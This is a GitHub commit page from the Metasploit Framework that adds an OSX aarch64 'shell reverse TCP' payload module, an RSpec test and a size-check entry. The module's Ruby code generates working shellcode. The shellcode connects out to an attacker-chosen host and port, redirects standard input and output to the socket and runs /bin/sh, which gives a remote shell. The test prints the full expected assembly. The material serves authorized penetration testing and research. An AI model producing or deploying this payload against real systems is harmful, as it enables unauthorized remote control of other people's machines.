Skip to content

Commit 4edb1e1

Browse files
Land rapid7#18652, Add osx aarch64 shell reverse tcp payload
2 parents f2902b3 + 7955381 commit 4edb1e1

File tree

3 files changed

+357
-0
lines changed

3 files changed

+357
-0
lines changed
Lines changed: 213 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,213 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
module MetasploitModule
7+
CachedSize = 188
8+
9+
include Msf::Payload::Single
10+
11+
def initialize(info = {})
12+
super(
13+
merge_info(
14+
info,
15+
'Name' => 'OSX aarch64 Shell Reverse TCP',
16+
'Description' => 'Connect back to attacker and spawn a command shell',
17+
'Author' => [ 'alanfoster' ],
18+
'License' => MSF_LICENSE,
19+
'Platform' => 'osx',
20+
'Arch' => ARCH_AARCH64,
21+
'Handler' => Msf::Handler::ReverseTcp,
22+
'Session' => Msf::Sessions::CommandShellUnix
23+
)
24+
)
25+
26+
# exec payload options
27+
register_options(
28+
[
29+
OptString.new('CMD', [ true, 'The command string to execute', '/bin/sh' ]),
30+
Opt::LHOST,
31+
Opt::LPORT(4444)
32+
]
33+
)
34+
end
35+
36+
# build the shellcode payload dynamically based on the user-provided CMD
37+
def generate(_opts = {})
38+
# Split the cmd string into arg chunks
39+
cmd_str = datastore['CMD']
40+
cmd_and_args = Shellwords.shellsplit(cmd_str).map { |s| "#{s}\x00" }
41+
42+
cmd = cmd_and_args[0]
43+
args = cmd_and_args[1..]
44+
45+
# Don't smash the real sp register, re-create our own on the x9 scratch register
46+
stack_register = :x9
47+
cmd_string_in_x0 = create_aarch64_string_in_stack(
48+
cmd,
49+
registers: {
50+
destination: :x0,
51+
stack: stack_register
52+
}
53+
)
54+
55+
lport = datastore['LPORT'].to_i
56+
lhost = datastore['LHOST']
57+
58+
lport_hex = [lport].pack('v').bytes.map { |b| b.to_s(16).rjust(2, '0') }.join
59+
lhost_hex = [IPAddr.new(lhost, Socket::AF_INET).to_i].pack('L<').bytes.map { |b| b.to_s(16).rjust(2, '0') }
60+
61+
result = <<~EOF
62+
// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
63+
// socket:
64+
mov x0, 0x2 // x0 = AF_INET
65+
mov x1, 0x1 // x1 = SOCK_STREAM
66+
mov x2, 0 // x2 = IPPROTO_IP
67+
movz x16, #0x0200, lsl #16 // x16 = SYS_SOCKET 0x2000061
68+
movk x16, #0x0061
69+
svc 0 // system call
70+
71+
// Socket file descriptor will be in x0; Additionally the store socket file descriptor in x13
72+
mov x13, x0
73+
74+
// connect(sockfd, socket={AF_INET,#{lport},#{lhost}}, socklen_t=16)
75+
// connect:
76+
// mov x0, x13 // x0 = socketfd, already set from previous socket result - additionally stored in x16
77+
lsl x1, x1, #1 // x1 = struct socaddr_in; sin_family=AF_INET
78+
movk x1, #0x#{lport_hex}, lsl #16 // sin_port = htons(#{lport})
79+
movk x1, #0x#{lhost_hex[2..3].join}, lsl #32 // sin_addr = inet_aton(ip, &addr.sin_addr)
80+
movk x1, #0x#{lhost_hex[0..1].join}, lsl #48
81+
str x1, [sp, #-8]!
82+
mov x1, sp // XXX: Should be: add x1, sp, x2, but assembler does not support it
83+
add x1, x1, x2 // XXX: Should be: add x1, sp, x2, but assembler does not support it
84+
85+
mov x2, 16 // x2 = sizeof(struct sockaddr) = 16
86+
movz x16, #0x0200, lsl #16 // x16 = SYS_CONNECT 0x2000062
87+
movk x16, #0x0062
88+
svc 0
89+
90+
// int dup2(int filedes=socketfd, int newfd=STDIN/STDOUT/STD)
91+
// dup2_calls:
92+
movz x16, #0x0200, lsl #16 // x16 = SYS_DUP2 0x200005a
93+
movk x16, #0x005a
94+
mov x0, x13 // x0 = socket
95+
movz x1, 0 // x1 = STDIN
96+
svc 0 // system call
97+
mov x0, x13 // x0 = socket
98+
movz x1, 1 // x1 = STDOUT
99+
svc 0 // system call
100+
mov x0, x13 // x0 = socket
101+
movz x1, 2 // x1 = STDERR
102+
svc 0 // system call
103+
104+
// int execve(const char *path, char *const argv[], char *const envp[]);
105+
// exec_call:
106+
// Set system call SYS_EXECVE 0x200003b in x16
107+
movz x16, #0x0200, lsl #16
108+
movk x16, #0x003b
109+
110+
mov #{stack_register}, sp // Temporarily move SP into scratch register
111+
112+
// Arg 0: execve - const char *path - Pointer to the program name to run
113+
#{cmd_string_in_x0}
114+
115+
// Push execve arguments, using x1 as a temporary register
116+
#{args.each_with_index.map do |value, index|
117+
"// Push argument #{index}\n" +
118+
create_aarch64_string_in_stack(value, registers: { destination: :x1, stack: stack_register })
119+
end.join("\n")
120+
}
121+
122+
// Arg 1: execve - char *const argv[] - program arguments
123+
#{cmd_and_args.each_with_index.map do |value, index|
124+
bytes_to_base_of_string = cmd_and_args[index..].sum { |string| align(string.bytesize) } + (index * 8)
125+
[
126+
"// argv[#{index}] = create pointer to base of string value #{value.inspect}",
127+
"mov x1, #{stack_register}",
128+
"sub x1, x1, ##{bytes_to_base_of_string} // Update the target register to point to base of the string",
129+
"str x1, [#{stack_register}], #8 // Store the pointer in the stack"
130+
].join("\n") + "\n"
131+
end.join("\n")}
132+
133+
// argv[#{cmd_and_args.length}] = NULL
134+
str xzr, [#{stack_register}], #8
135+
136+
// Set execve arg1 to the base of the argv array of pointers
137+
mov x1, #{stack_register}
138+
sub x1, x1, ##{(cmd_and_args.length + 1) * 8}
139+
140+
// Arg 2: execve - char *const envp[] - Environment variables, NULL for now
141+
mov x2, xzr
142+
// System call
143+
svc #0
144+
EOF
145+
146+
compile_aarch64(result)
147+
end
148+
149+
def create_aarch64_string_in_stack(string, registers: {})
150+
target = registers.fetch(:destination, :x0)
151+
stack = registers.fetch(:stack, :x9)
152+
153+
# Instructions for pushing the bytes of the string 8 characters at a time
154+
push_string = string.bytes
155+
.each_slice(8)
156+
.each_with_index
157+
.flat_map do |eight_byte_chunk, _chunk_index|
158+
mov_instructions = eight_byte_chunk
159+
.each_slice(2)
160+
.each_with_index
161+
.map do |two_byte_chunk, index|
162+
two_byte_chunk = two_byte_chunk.reverse
163+
two_byte_chunk_hex = two_byte_chunk.map { |b| b.to_s(16).rjust(2, '0') }.join
164+
two_byte_chunk_chr = two_byte_chunk.map(&:chr).join
165+
"mov#{index == 0 ? 'z' : 'k'} #{target}, #0x#{two_byte_chunk_hex}#{index == 0 ? '' : ", lsl ##{index * 16}"} // #{two_byte_chunk_chr.inspect}"
166+
end
167+
[
168+
"// Next 8 bytes of string: #{eight_byte_chunk.map(&:chr).join.inspect}",
169+
*mov_instructions,
170+
"str #{target}, [#{stack}], #8 // Store #{target} on #{stack}-stack and increment by 8"
171+
]
172+
end
173+
push_string = push_string.join("\n") + "\n"
174+
175+
set_target_register_to_base_of_string = <<~EOF
176+
mov #{target}, #{stack} // Store the current stack location in the target register
177+
sub #{target}, #{target}, ##{align(string.bytesize)} // Update the target register to point to base of the string
178+
EOF
179+
180+
result = <<~EOF
181+
#{push_string}
182+
#{set_target_register_to_base_of_string}
183+
EOF
184+
185+
result
186+
end
187+
188+
def align(value, alignment: 8)
189+
return value if value % alignment == 0
190+
191+
value + (alignment - (value % alignment))
192+
end
193+
194+
def compile_aarch64(asm_string)
195+
require 'aarch64/parser'
196+
parser = ::AArch64::Parser.new
197+
asm = parser.parse without_inline_comments(asm_string)
198+
199+
asm.to_binary
200+
end
201+
202+
# Remove any human readable comments that have been inlined
203+
def without_inline_comments(string)
204+
comment_delimiter = '//'
205+
result = string.lines(chomp: true).map do |line|
206+
instruction, _comment = line.split(comment_delimiter, 2)
207+
next if instruction.blank?
208+
209+
instruction
210+
end.compact
211+
result.join("\n") + "\n"
212+
end
213+
end
Lines changed: 134 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,134 @@
1+
require 'rspec'
2+
3+
RSpec.describe 'singles/osx/aarch64/shell_reverse_tcp' do
4+
include_context 'Msf::Simple::Framework#modules loading'
5+
6+
let(:subject) do
7+
load_and_create_module(
8+
module_type: 'payload',
9+
reference_name: 'osx/aarch64/shell_reverse_tcp',
10+
ancestor_reference_names: [
11+
'singles/osx/aarch64/shell_reverse_tcp'
12+
]
13+
)
14+
end
15+
let(:cmd) { nil }
16+
let(:lhost) { '127.0.0.1' }
17+
let(:lport) { '4444' }
18+
let(:datastore_values) { { 'CMD' => cmd, 'LHOST' => lhost, 'LPORT' => lport } }
19+
20+
before(:each) do
21+
subject.datastore.merge!(datastore_values)
22+
end
23+
24+
describe '#generate' do
25+
# Verify that the compile command is called with the expected asm string
26+
def expect_result_to_match(expected_asm)
27+
allow(subject).to receive(:compile_aarch64).and_wrap_original do |original, asm|
28+
compiled_asm = original.call asm
29+
expect(asm).to match_table(expected_asm)
30+
expect(compiled_asm.length).to be > 0
31+
'mock-aarch64-compiled'
32+
end
33+
expect(subject.generate).to eq 'mock-aarch64-compiled'
34+
end
35+
36+
context 'when the CMD is /bin/bash' do
37+
let(:cmd) { '/bin/bash' }
38+
39+
it 'generates the execve system call payload without arguments present' do
40+
expected = <<~'EOF'
41+
// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
42+
// socket:
43+
mov x0, 0x2 // x0 = AF_INET
44+
mov x1, 0x1 // x1 = SOCK_STREAM
45+
mov x2, 0 // x2 = IPPROTO_IP
46+
movz x16, #0x0200, lsl #16 // x16 = SYS_SOCKET 0x2000061
47+
movk x16, #0x0061
48+
svc 0 // system call
49+
50+
// Socket file descriptor will be in x0; Additionally the store socket file descriptor in x13
51+
mov x13, x0
52+
53+
// connect(sockfd, socket={AF_INET,4444,127.0.0.1}, socklen_t=16)
54+
// connect:
55+
// mov x0, x13 // x0 = socketfd, already set from previous socket result - additionally stored in x16
56+
lsl x1, x1, #1 // x1 = struct socaddr_in; sin_family=AF_INET
57+
movk x1, #0x5c11, lsl #16 // sin_port = htons(4444)
58+
movk x1, #0x007f, lsl #32 // sin_addr = inet_aton(ip, &addr.sin_addr)
59+
movk x1, #0x0100, lsl #48
60+
str x1, [sp, #-8]!
61+
mov x1, sp // XXX: Should be: add x1, sp, x2, but assembler does not support it
62+
add x1, x1, x2 // XXX: Should be: add x1, sp, x2, but assembler does not support it
63+
64+
mov x2, 16 // x2 = sizeof(struct sockaddr) = 16
65+
movz x16, #0x0200, lsl #16 // x16 = SYS_CONNECT 0x2000062
66+
movk x16, #0x0062
67+
svc 0
68+
69+
// int dup2(int filedes=socketfd, int newfd=STDIN/STDOUT/STD)
70+
// dup2_calls:
71+
movz x16, #0x0200, lsl #16 // x16 = SYS_DUP2 0x200005a
72+
movk x16, #0x005a
73+
mov x0, x13 // x0 = socket
74+
movz x1, 0 // x1 = STDIN
75+
svc 0 // system call
76+
mov x0, x13 // x0 = socket
77+
movz x1, 1 // x1 = STDOUT
78+
svc 0 // system call
79+
mov x0, x13 // x0 = socket
80+
movz x1, 2 // x1 = STDERR
81+
svc 0 // system call
82+
83+
// int execve(const char *path, char *const argv[], char *const envp[]);
84+
// exec_call:
85+
// Set system call SYS_EXECVE 0x200003b in x16
86+
movz x16, #0x0200, lsl #16
87+
movk x16, #0x003b
88+
89+
mov x9, sp // Temporarily move SP into scratch register
90+
91+
// Arg 0: execve - const char *path - Pointer to the program name to run
92+
// Next 8 bytes of string: "/bin/bas"
93+
movz x0, #0x622f // "b/"
94+
movk x0, #0x6e69, lsl #16 // "ni"
95+
movk x0, #0x622f, lsl #32 // "b/"
96+
movk x0, #0x7361, lsl #48 // "sa"
97+
str x0, [x9], #8 // Store x0 on x9-stack and increment by 8
98+
// Next 8 bytes of string: "h\x00"
99+
movz x0, #0x0068 // "\x00h"
100+
str x0, [x9], #8 // Store x0 on x9-stack and increment by 8
101+
102+
mov x0, x9 // Store the current stack location in the target register
103+
sub x0, x0, #16 // Update the target register to point to base of the string
104+
105+
106+
107+
// Push execve arguments, using x1 as a temporary register
108+
109+
110+
// Arg 1: execve - char *const argv[] - program arguments
111+
// argv[0] = create pointer to base of string value "/bin/bash\x00"
112+
mov x1, x9
113+
sub x1, x1, #16 // Update the target register to point to base of the string
114+
str x1, [x9], #8 // Store the pointer in the stack
115+
116+
117+
// argv[1] = NULL
118+
str xzr, [x9], #8
119+
120+
// Set execve arg1 to the base of the argv array of pointers
121+
mov x1, x9
122+
sub x1, x1, #16
123+
124+
// Arg 2: execve - char *const envp[] - Environment variables, NULL for now
125+
mov x2, xzr
126+
// System call
127+
svc #0
128+
EOF
129+
130+
expect_result_to_match(expected)
131+
end
132+
end
133+
end
134+
end

spec/modules/payloads_spec.rb

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2238,6 +2238,16 @@
22382238
reference_name: 'osx/aarch64/exec'
22392239
end
22402240

2241+
context 'osx/aarch64/shell_reverse_tcp' do
2242+
it_should_behave_like 'payload cached size is consistent',
2243+
ancestor_reference_names: [
2244+
'singles/osx/aarch64/shell_reverse_tcp'
2245+
],
2246+
dynamic_size: false,
2247+
modules_pathname: modules_pathname,
2248+
reference_name: 'osx/aarch64/shell_reverse_tcp'
2249+
end
2250+
22412251
context 'osx/aarch64/meterpreter/reverse_tcp' do
22422252
it_should_behave_like 'payload cached size is consistent',
22432253
ancestor_reference_names: [

0 commit comments

Comments
 (0)